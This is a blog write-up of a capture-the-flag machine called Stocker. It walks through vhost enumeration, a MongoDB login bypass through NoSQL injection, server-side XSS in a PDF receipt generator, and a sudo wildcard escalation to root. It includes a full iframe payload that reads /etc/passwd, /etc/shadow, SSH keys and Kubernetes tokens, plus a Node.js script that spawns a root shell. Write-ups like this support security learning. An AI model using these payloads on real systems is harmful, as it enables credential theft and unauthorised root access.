top of page
  • Writer's pictureWessel Swanepoel

Road to Root: Node.js and MongoDB Injection

Updated: Jan 29



In this installment of Road to Root we explore the intricacies of NoSQL injection and data exfiltration through html to pdf generators.



Initial foothold

Our journey started with a basic port-scan that revealed a webserver serving a site at "http://stocker.htb" and a SSH server.


Apart from some possible usernames, the website didn't reveal much of interest.


Further VHost Enumeration

After some additional vhost enumeration using gobuster I found an interesting hidden vhost served from "dev.stocker.htb".


Login bypass

This new site had a login screen that was about to receive quite a bit of abuse 😈

Preparing to go to town on a login form...


After subjecting the form to a myriad of different attacks that included extensive sqlmap scanning, bombarding it with common injection payload wordlists and a brute-force log in attack I realized that this form, might need a defter touch.


Taking a closer look at the request and response through burp suite I tried to modify the content-type header:

"Normal request and response"


"Modified Request"


The response from the webserver is exactly what I wanted to see! The fact that the server honors the client's specified Content-Type could open the server up to an interesting NoSQL Injection attack documented over at Hacking NodeJS and MongoDB | Websecurify Blog


Using a json payload I was able to construct a sneaky payload that would hopefully be interpreted by MongoDB and allow us to bypass the login form.

More cookies please!



PDF Generation Abuse

Cookies in hand, I was able to bypass the login form and explore what at first glance didn't seem like an interesting or useful application; it seemed like a fairly simple shopping cart app with some test data 😒

Add items to cart


View the cart and submit


Generate receipt


View Receipt


Looking at the receipt and comparing it to the request that preceded it made me wonder if the PDF generation process was not perhaps achieved by converting HTML documents to PDFs. This is a common technique used by developers as HTML is a powerful markup language and PDF SDKs... well... PDF SDKs suck...


I then went through the entire process again but modified the product name in the request with some html markup.

Original Request

Modified with some basic HTML markup



Interesting...


This was telling, as it meant the process was likely vulnerable to Server Side XSS attacks.

I tried all kinds of payloads from HackTricks and finally found one that looked like it was doing... something..

<img height='1500' width='800' src='xasdasdasd' onerror='document.write(\"<iframe height=1500 width=800 src=file:///></iframe>

Then, I threw the kitchen sink at it!

{
     "basket": [
         {
             "_id": "638f116eeb060210cbd83a8d",
             "title": "<img height='34000' width='800' src='xasdasdasd' onerror='document.write(\"<iframe height=1500 width=800 src=http://localhost></iframe><br><iframe height=1500 width=800 src=http://127.0.0.1></iframe><br><iframe height=1500 width=800 src=http://127.0.0.1:8080></iframe><br><iframe height=1500 width=800 src=file:///etc/passwd></iframe><br><iframe height=1500 width=800 src=file://static/img/bin.jpg></iframe><br><iframe height=1500 width=800 src=file://./static/img/bin.jpg></iframe><br><iframe height=1500 width=800 src=file:///etc/issue></iframe><br><iframe height=1500 width=800 src=file:///etc/passwd></iframe><br><iframe height=1500 width=800 src=file:///etc/shadow></iframe><br><iframe height=1500 width=800 src=file:///etc/group></iframe><br><iframe height=1500 width=800 src=file:///etc/hosts></iframe><br><iframe height=1500 width=800 src=file:///etc/motd></iframe><br><iframe height=1500 width=800 src=file:///etc/mysql/my.cnf></iframe><br><iframe height=1500 width=800 src=file:///proc/[0-9]*/fd/[0-9]*></iframe><br><iframe height=1500 width=800 src=file:///proc/self/environ></iframe><br><iframe height=1500 width=800 src=file:///proc/version></iframe><br><iframe height=1500 width=800 src=file:///proc/cmdline></iframe><br><iframe height=1500 width=800 src=file:///proc/sched_debug></iframe><br><iframe height=1500 width=800 src=file:///proc/mounts></iframe><br><iframe height=1500 width=800 src=file:///proc/net/arp></iframe><br><iframe height=1500 width=800 src=file:///proc/net/route></iframe><br><iframe height=1500 width=800 src=file:///proc/net/tcp></iframe><br><iframe height=1500 width=800 src=file:///proc/net/udp></iframe><br><iframe height=1500 width=800 src=file:///proc/self/cwd/index.php></iframe><br><iframe height=1500 width=800 src=file:///proc/self/cwd/main.py></iframe><br><iframe height=1500 width=800 src=file:///home/$USER/.bash_history></iframe><br><iframe height=1500 width=800 src=file:///home/$USER/.ssh/id_rsa></iframe><br><iframe height=1500 width=800 src=file:///run/secrets/kubernetes.io/serviceaccount/token></iframe><br><iframe height=1500 width=800 src=file:///run/secrets/kubernetes.io/serviceaccount/namespace></iframe><br><iframe height=1500 width=800 src=file:///run/secrets/kubernetes.io/serviceaccount/certificate></iframe><br><iframe height=1500 width=800 src=file:///var/run/secrets/kubernetes.io/serviceaccount></iframe><br><iframe height=1500 width=800 src=file:///var/lib/mlocate/mlocate.db></iframe><br><iframe height=1500 width=800 src=file:///var/lib/mlocate.db></iframe><br><iframe height=1500 width=800 src=file:///var/log/apache/access.log></iframe><br><iframe height=1500 width=800 src=file:///var/log/apache/error.log></iframe><br><iframe height=1500 width=800 src=file:///var/log/httpd/error_log></iframe><br><iframe height=1500 width=800 src=file:///usr/local/apache/log/error_log></iframe><br><iframe height=1500 width=800 src=file:///usr/local/apache2/log/error_log></iframe><br><iframe height=1500 width=800 src=file:///var/log/nginx/access.log></iframe><br><iframe height=1500 width=800 src=file:///var/log/nginx/error.log></iframe><br><iframe height=1500 width=800 src=file:///var/log/vsftpd.log></iframe><br><iframe height=1500 width=800 src=file:///var/log/sshd.log></iframe><br><iframe height=1500 width=800 src=file:///var/log/mail></iframe>\")>",
             "description": "It's a red cup.",
             "image": "red-cup.jpg",
             "price": 32,
             "currentStock": 4,
             "__v": 0,
             "amount": 1
         }
     ]
 }


And it didn't disappoint... I was able to exfiltrate the passwd file and the app's index.js file, which exposed the SSH user and MongoDB credentials:


I tried the MongoDB credentials on the IT Admin's account and...



Privilege Escalation

Achieving root after this was relatively easy as a poorly configured sudoers line seemed fairly trivial to exploit:


The important bit here is the "/*.js" part. This could theoretically be abused with some directory traversal commands. To test this theory, I created a test.js script that simply printed some text and tried to execute it directly, which was expected to fail, and then using sudo with a sneaky traversed path, which would hopefully succeed.


Testing ~$ sudo node test.js

console.log("boo!")

It worked! All I had to do then was launch a shell from our test.js script, I opted to do so directly from node like so:

test.js

const { spawn } = require('child_process')
const shell = spawn('sh',[], { stdio: 'inherit' })
shell.on('close',(code)=>{console.log('bash terminated :',code)})

We got Root!




Thanks for taking the time to read my blog - if you have any advice on how I could have improved my workflow, please feel free to comment below.

15 views0 comments

Recent Posts

See All
bottom of page